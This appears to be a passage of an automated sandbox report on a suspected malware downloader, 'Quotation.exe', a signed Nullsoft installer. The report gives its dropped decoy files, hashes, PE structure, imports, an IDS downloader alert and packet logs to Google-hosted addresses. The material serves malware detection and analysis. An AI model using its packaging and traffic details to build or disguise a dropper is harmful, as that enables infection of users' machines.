SHA1:	B7BF3B7B16048F38132D8ACCA841130D73DB44C3
SHA-256:	FAD1B5E641DC44B5A51048470D4E0FB47664CF2B994CEA24304495D99323B9DE
SHA-512:	E739381C24627F89255DB55B2DA39A09F055A322C577C3604BA048FB2C817AE7F63B12131F8461491F6140953FB33DD94EB66D8CB3B13B36717143342CE270AF
Malicious:	false
Preview:	......................................j......................................."t......... .............Z..........................................+...o..G.......d......................................................................................X................5....................................F.........'.....................................................U...............................\............Y............)..............................d..D....................................................%.................................................Y..#.......................................................................................................................^.........................................j...........w...............................................n.....................................V..........i.............................................6...7..........*.........................................................................H.............................

C:\Users\user\overlays\besvangredes\unnaturalism\jagtfalk.ill

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	374902
Entropy (8bit):	1.250991222921627
Encrypted:	false
SSDEEP:	1536:XkYzjcLYszRzU5n1C900tMkYQx+gnpovYHO:XkYz4DzQB5sYYH
MD5:	169115C751DDA5E021E8C86E8454B26D
SHA1:	5A8254634C0C726BB18E42E626EAEB581D532DCD
SHA-256:	ACCD4911D88E808AED4A2AA27394628C62574810B0B47977B7103A246FDF2A10
SHA-512:	2B643014E8623CADBA7CE78B91D3C751D60FCBF3FA69FA26F29A14E55679FC6A5C2074834B2496773A1756E3172EC7C898E2DF29CB4A0513DBF8BC0DCDDA7E04
Malicious:	false
Preview:	.......].....................................................S....................................^.4....................=.b.........................................................................o....O..................O........................t..............................I.................................................................;......................................m...................A.....................................i.........................................=...............................................................................................u..&...............................v............=................v...............p...............O.......'.............................K........................;............m......P................x.f....................K[.(..A..........#........................J..L........................i........................X................................................................................N..............f.........

C:\Users\user\overlays\besvangredes\unnaturalism\regill.ful

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	489048
Entropy (8bit):	1.245615736901525
Encrypted:	false
SSDEEP:	1536:HMtjgMjMD1whyMu1IXCVAcFNpruXO+nBJH:stjgmYi03XDL+nBJ
MD5:	B4FB425BAF217F31E91AAB39ABF66DCD
SHA1:	03DE3BD0F923AB14213B6C4461C5CA73A0A6371C
SHA-256:	4BC57A47B82B63EC20B393F65F3585EB81FE3F7748229CD19DEC8FE8A41D67C3
SHA-512:	E72395FD6098130EFD543C5941781A1AA80FCE17C7701CB40FA8874271E0D43E0F7F082EBF5D458181287DE41CF4B34F88DCAABE84D8AD51003EF5DA1495D871
Malicious:	false
Preview:	.............9.....................A..............Z...........=.........................................................h...'.........................................................L..............................................p..C...........................,...................................p..........S............................................................................{............................................(.........C...^.......................................U.........~................................................z.....................................A................................................]..........i.............,....................................g..............................3......K.....................u..............................................................H.t....................................................................................................................`.............................)1.............q..............4....

C:\Users\user\overlays\besvangredes\unnaturalism\sortlistningens.txt

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	4.247837387326688
Encrypted:	false
SSDEEP:	6:r8pLNAsEyv1WABlvMW9uu+IXvVJyQXPhXOQemtNxgFUvNwmA6AQOp2jMPA9cnb:ruJAOgABlQuTXbyKhXOLmtLgHmFOYjMV
MD5:	46003C65AA12A0EBE55662F0141186DC
SHA1:	739652C3375018DAFFB986302A7D3E8D32770B41
SHA-256:	2EA079DEDE1B356842C5F5E0751B5E2B6565FDED65DAFB59A73D170C002ABB27
SHA-512:	59D394789F9EECE97873D56AEA64F353D3E13E007E4ACBD396AC76CB68E91494EB65888049EF05CBE9B20597ADADCC960D067F90AAD3EA5AA46AC3A82F5B82FD
Malicious:	false
Preview:	degageredes indtgters commencing subfunctional rubiator startkatalogernes dismasted outsport..surkaalen syndedes turtledoving,leddelsestes obs jernholdigt normsammenbruds.azotite hestesko hvilkes snrkels enstatitite nappes,slangudtrykkets squills consonantising windchest interpretableness lynkrigen..vinders drikkegildet orgal snakkehjrnets responders etageejendommens..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.811676042471184
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Quotation.exe
File size:	1'197'176 bytes
MD5:	5607e8b6d0197e51ec19233e72bc2036
SHA1:	91cf6d8f6eeb59e44741d16c4a1ba38cffe59435
SHA256:	2013e4b243a72b09add6488f84ad97b47ce0587cdecc1114f4380c82650e069c
SHA512:	bd1334cf2a73bfaf4b4235baaa0b4f0ef86e352e90323f60912a1e749f31e2ce82cb29acd45e8b3df74bd0f172239f7cf31fd3f7303eb299d9d7e21ea4e4dd92
SSDEEP:	24576:64nhDoAFKQnWqZRi73deBNF12ZNXLGQ7WczkxFnfbP98:6+hkhQnxZRiBe5iNXKQKczga
TLSH:	B445232636E2C04BD9830A794BF7F33A897EDD153C16982677702B4EDD7128CDD8A660
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............o...o...o...k...o...i...o...n...o...n...o.I.k...o.I.....o.I.m...o.Rich..o.................PE..L...!.*c.................n.

File Icon


Icon Hash:	873335651170390f

Static PE Info

General

Entrypoint:	0x4036da
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x632AE721 [Wed Sep 21 10:27:45 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	3f91aceea750f765ef2ba5d9988e6a00

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Frostklart, O=Frostklart, L=Ancey, C=FR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	29/11/2023 00:14:30 28/11/2026 00:14:30
Subject Chain	CN=Frostklart, O=Frostklart, L=Ancey, C=FR
Version:	3
Thumbprint MD5:	D5180E15196D1898A3B907839CE72F94
Thumbprint SHA-1:	A93ACCEF1A204E7A231C86AEFAD621EF80205976
Thumbprint SHA-256:	FF48C37C9BCF76FF4194B83CBD8074DDC3CDFB204216E18F8FDAF4E7382836BA
Serial:	531598CA6A96AABCE1A02FB8223F6BA8E6DA2A2E

Entrypoint Preview

Instruction
sub esp, 000003ECh
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov edi, 00408528h
push 00008001h
mov dword ptr [esp+14h], ebx
mov ebp, ebx
call dword ptr [00408170h]
mov esi, dword ptr [004080ACh]
lea eax, dword ptr [esp+2Ch]
xorps xmm0, xmm0
mov dword ptr [esp+40h], ebx
push eax
movlpd qword ptr [esp+00000144h], xmm0
mov dword ptr [esp+30h], 0000011Ch
call esi
test eax, eax
jne 00007FAAD884FB59h
lea eax, dword ptr [esp+2Ch]
mov dword ptr [esp+2Ch], 00000114h
push eax
call esi
push 00000053h
pop eax
mov dl, 04h
mov byte ptr [esp+00000146h], dl
cmp word ptr [esp+40h], ax
jne 00007FAAD884FB33h
mov eax, dword ptr [esp+5Ah]
add eax, FFFFFFD0h
mov word ptr [esp+00000140h], ax
jmp 00007FAAD884FB2Dh
xor eax, eax
jmp 00007FAAD884FB14h
mov dl, byte ptr [esp+00000146h]
cmp dword ptr [esp+30h], 0Ah
jnc 00007FAAD884FB2Dh
movzx eax, word ptr [esp+38h]
mov dword ptr [esp+38h], eax
jmp 00007FAAD884FB26h
mov eax, dword ptr [esp+38h]
mov dword ptr [007A8638h], eax
movzx eax, byte ptr [esp+30h]
shl ax, 0008h
movzx ecx, ax
movzx eax, byte ptr [esp+34h]
or ecx, eax
movzx eax, byte ptr [esp+00000140h]
shl ax, 0008h
shl ecx, 10h
movzx eax, word ptr [eax]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8a00	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3db000	0x3e910	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x123288	0x11f0	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6c0b	0x6e00	9178309eee1a86dc5ef945d6826a6897	False	0.6605823863636363	data	6.398414552532143	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1896	0x1a00	0885e83a553c38819d1fab2908ca0cf5	False	0.4307391826923077	data	4.86610208699674	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x39e640	0x200	5c0f03a1a77f205400c2cbabec9976c4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a9000	0x32000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3db000	0x3e910	0x3ea00	2690c3c0c1de505f961321c7e2d6da34	False	0.6915076097804391	data	6.574790239627466	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3db388	0x16482	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.000394451383867
RT_ICON	0x3f1810	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.486498876138649
RT_ICON	0x402038	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.5308492747529956
RT_ICON	0x40b4e0	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.5497227356746766
RT_ICON	0x410968	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.5415682569674067
RT_ICON	0x414b90	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5884854771784233
RT_ICON	0x417138	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6179643527204502
RT_ICON	0x4181e0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.6668032786885246
RT_ICON	0x418b68	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.7287234042553191
RT_DIALOG	0x418fd0	0x100	data	English	United States	0.5234375
RT_DIALOG	0x4190d0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x4191f0	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x4192b8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x419318	0x84	Targa image data - Map 32 x 25730 x 1 +1	English	United States	0.7348484848484849
RT_VERSION	0x4193a0	0x220	data	English	United States	0.5110294117647058
RT_MANIFEST	0x4195c0	0x349	XML 1.0 document, ASCII text, with very long lines (841), with no line terminators	English	United States	0.5529131985731273

Imports

DLL	Import
ADVAPI32.dll	RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegEnumKeyW, RegEnumValueW, RegQueryValueExW, RegSetValueExW, OpenProcessToken, AdjustTokenPrivileges, LookupPrivilegeValueW, SetFileSecurityW, RegCreateKeyExW, RegOpenKeyExW
SHELL32.dll	ShellExecuteExW, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, SHGetSpecialFolderLocation
ole32.dll	OleInitialize, OleUninitialize, CoTaskMemFree, IIDFromString, CoCreateInstance
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	DispatchMessageW, wsprintfA, SystemParametersInfoW, SetClassLongW, GetWindowLongW, GetSysColor, ScreenToClient, SetCursor, GetWindowRect, TrackPopupMenu, AppendMenuW, EnableMenuItem, CreatePopupMenu, GetSystemMenu, GetSystemMetrics, IsWindowEnabled, EmptyClipboard, SetClipboardData, CloseClipboard, OpenClipboard, CheckDlgButton, EndDialog, DialogBoxParamW, IsWindowVisible, SetWindowPos, CreateWindowExW, GetClassInfoW, PeekMessageW, CallWindowProcW, GetMessagePos, CharNextW, ExitWindowsEx, SetWindowTextW, SetTimer, CreateDialogParamW, DestroyWindow, LoadImageW, FindWindowExW, SetWindowLongW, InvalidateRect, ReleaseDC, GetDC, SetForegroundWindow, EnableWindow, GetDlgItem, ShowWindow, IsWindow, PostQuitMessage, SendMessageTimeoutW, SendMessageW, wsprintfW, FillRect, GetClientRect, EndPaint, BeginPaint, DrawTextW, DefWindowProcW, SetDlgItemTextW, GetDlgItemTextW, CharNextA, MessageBoxIndirectW, RegisterClassW, CharPrevW, LoadCursorW
GDI32.dll	SetBkMode, CreateBrushIndirect, GetDeviceCaps, SelectObject, DeleteObject, SetBkColor, SetTextColor, CreateFontIndirectW
KERNEL32.dll	WriteFile, GetLastError, WaitForSingleObject, GetExitCodeProcess, GetTempFileNameW, CreateFileW, CreateDirectoryW, WideCharToMultiByte, lstrlenW, lstrcpynW, GlobalLock, GlobalUnlock, CreateThread, GetDiskFreeSpaceW, CopyFileW, GetVersionExW, GetWindowsDirectoryW, ExitProcess, GetCurrentProcess, CreateProcessW, GetTempPathW, SetEnvironmentVariableW, GetCommandLineW, GetModuleFileNameW, GetTickCount, GetFileSize, MultiByteToWideChar, MoveFileW, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, lstrcmpiW, lstrcmpW, MulDiv, GlobalFree, GlobalAlloc, LoadLibraryExW, GetModuleHandleW, FreeLibrary, Sleep, CloseHandle, SetFileTime, SetFilePointer, SetFileAttributesW, ReadFile, GetShortPathNameW, GetFullPathNameW, GetFileAttributesW, FindNextFileW, FindFirstFileW, FindClose, DeleteFileW, CompareFileTime, SearchPathW, SetCurrentDirectoryW, ExpandEnvironmentStringsW, RemoveDirectoryW, GetSystemDirectoryW, MoveFileExW, GetModuleHandleA, GetProcAddress, lstrcmpiA, lstrcpyA, lstrcatW, SetErrorMode

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T10:45:20.670689+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49973	142.250.185.238	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 10:45:19.181154013 CET	49973	443	192.168.2.9	142.250.185.238
Oct 31, 2024 10:45:19.181193113 CET	443	49973	142.250.185.238	192.168.2.9
Oct 31, 2024 10:45:19.181277037 CET	49973	443	192.168.2.9	142.250.185.238
Oct 31, 2024 10:45:19.349750996 CET	49973	443	192.168.2.9	142.250.185.238
Oct 31, 2024 10:45:19.349776983 CET	443	49973	142.250.185.238	192.168.2.9
Oct 31, 2024 10:45:20.247996092 CET	443	49973	142.250.185.238	192.168.2.9
Oct 31, 2024 10:45:20.248171091 CET	49973	443	192.168.2.9	142.250.185.238
Oct 31, 2024 10:45:20.248953104 CET	443	49973	142.250.185.238	192.168.2.9
Oct 31, 2024 10:45:20.249039888 CET	49973	443	192.168.2.9	142.250.185.238
Oct 31, 2024 10:45:20.306324959 CET	49973	443	192.168.2.9	142.250.185.238
Oct 31, 2024 10:45:20.306365013 CET	443	49973	142.250.185.238	192.168.2.9
Oct 31, 2024 10:45:20.306744099 CET	443	49973	142.250.185.238	192.168.2.9
Oct 31, 2024 10:45:20.306802988 CET	49973	443	192.168.2.9	142.250.185.238
Oct 31, 2024 10:45:20.311475039 CET	49973	443	192.168.2.9	142.250.185.238
Oct 31, 2024 10:45:20.355344057 CET	443	49973	142.250.185.238	192.168.2.9
Oct 31, 2024 10:45:20.670675993 CET	443	49973	142.250.185.238	192.168.2.9
Oct 31, 2024 10:45:20.670939922 CET	49973	443	192.168.2.9	142.250.185.238
Oct 31, 2024 10:45:20.670950890 CET	443	49973	142.250.185.238	192.168.2.9
Oct 31, 2024 10:45:20.671006918 CET	49973	443	192.168.2.9	142.250.185.238
Oct 31, 2024 10:45:20.671072960 CET	49973	443	192.168.2.9	142.250.185.238
Oct 31, 2024 10:45:20.671097040 CET	443	49973	142.250.185.238	192.168.2.9
Oct 31, 2024 10:45:20.671152115 CET	49973	443	192.168.2.9	142.250.185.238
Oct 31, 2024 10:45:20.695652008 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:20.695707083 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:20.695849895 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:20.696203947 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:20.696217060 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:21.566843987 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:21.566973925 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:21.571389914 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:21.571403027 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:21.571743965 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:21.571821928 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:21.572227955 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:21.619334936 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.065629959 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.065767050 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.073929071 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.074086905 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.184010983 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.184097052 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.184149027 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.184166908 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.184340000 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.184340000 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.185854912 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.185905933 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.185918093 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.185967922 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.190237999 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.190359116 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.190371037 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.190418005 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.198879004 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.199125051 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.199140072 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.199193954 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.207681894 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.207787991 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.207796097 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.207850933 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.216207027 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.216291904 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.216299057 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.216372013 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.216377020 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.216420889 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.225123882 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.225219011 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.225248098 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.225330114 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.233961105 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.234061956 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.234071970 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.234154940 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.242750883 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.242896080 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.242904902 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.242955923 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.302465916 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.302535057 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.302587986 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.302598000 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.302644968 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.302691936 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.302795887 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.302855968 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.302903891 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.302959919 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.302967072 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.302972078 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.303028107 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.303056002 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.303761959 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.303822994 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.304207087 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.304251909 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.304285049 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.304291010 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.304317951 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.304362059 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.304903984 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.304969072 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.308551073 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.308629990 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.308635950 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.308689117 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.309036970 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.309099913 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.309106112 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.309178114 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.317266941 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.317311049 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.317341089 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.317347050 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.317392111 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.317414045 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.321005106 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.321084976 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.321125984 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.321201086 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.326700926 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.326776981 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.326782942 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.326833010 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.332431078 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.332521915 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.332529068 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.332632065 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.338023901 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.338104963 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.338112116 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.338171959 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.343839884 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.343933105 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.343940020 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.344170094 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.349410057 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.349534035 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.349540949 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.349602938 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.355144024 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.355266094 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.355283022 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.355377913 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.361192942 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.361309052 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.361323118 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.361370087 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.420878887 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.420945883 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.420975924 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.420993090 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.421025038 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.421036005 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.421068907 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.421076059 CET	443	49974	172.217.16.129	192.168.2.9
Oct 31, 2024 10:45:24.421098948 CET	49974	443	192.168.2.9	172.217.16.129
Oct 31, 2024 10:45:24.421168089 CET	49974	443	192.168.2.9	172.217.16.129
